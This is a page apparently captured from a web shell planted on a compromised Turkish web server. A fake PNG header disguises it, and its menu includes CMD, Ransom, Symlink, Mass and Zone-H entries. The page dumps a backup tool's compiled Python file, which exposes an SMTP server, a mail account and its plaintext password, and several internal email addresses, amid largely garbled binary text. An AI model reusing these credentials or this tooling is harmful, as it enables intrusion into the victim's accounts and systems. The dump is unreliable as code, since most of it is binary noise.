\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/yedekle24/BackupShield/__pycache__/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/yedekle24/BackupShield/__pycache__/utils.cpython-310.pyc |
o
��gO! � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl m
Z
d dlmZ zd dl
mZ e� W n eyD Y nw dZdZdZdZdZd Zd
Zdd� Zd
d� Zdd� Zddd�ZdS )� N)�MIMEText)�
MIMEMultipart)�load_dotenvzmail.hepsibulutta.comiK zyedekle24@hepsibulutta.com�ooka5asd2mas2el1ai0eeC222zgokhana@ofisbulutta.comzarsiv@arsiv.ofisbulutta.trc C s d}t �|| �duS )z�
Validate an email address using a regex pattern.
Args:
email (str): Email address to validate
Returns:
bool: True if the email is valid, False otherwise
z0^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$N)�re�match)�email�pattern� r
�-/var/www/html/yedekle24/BackupShield/utils.py�is_valid_email s
r c
C s� t j�d�}|std� dS | sdS z:d}|| d�}tj||d�}|�� }td|� �� |�d �r4W d
S |�dg �}d}|rH|d
d�|�� �7 }d|fW S tyf } ztd|� �� W Y d}~dS d}~ww )a!
Verify a reCAPTCHA response with Google's API.
Args:
recaptcha_response (str): reCAPTCHA response token
Returns:
bool: True if verification successful, False otherwise
str: Error message if verification failed, empty string otherwise
�RECAPTCHA_SECRET_KEYz?Error: RECAPTCHA_SECRET_KEY is not set in environment variables)Fz'reCAPTCHA configuration error on server)FzreCAPTCHA response is requiredz/https://www.google.com/recaptcha/api/siteverify)�secret�response)�dataz!reCAPTCHA verification response: �success�T� zerror-codeszreCAPTCHA verification failedz: z, FzreCAPTCHA verification error: N)Fz%Error connecting to reCAPTCHA service) �os�environ�get�print�requests�post�json�join� Exception) �recaptcha_response�
secret_key�verification_url�payloadr �result�error_codes�
error_message�er
r
r �verify_recaptcha* s4 �
��r% c C sB z�t |�sW dS tj�� �d�}d| � d|� d|� d|� d|� d�}td t� d
t� �� tdt� �� tdt� �� td
t � �� t
� }t|d<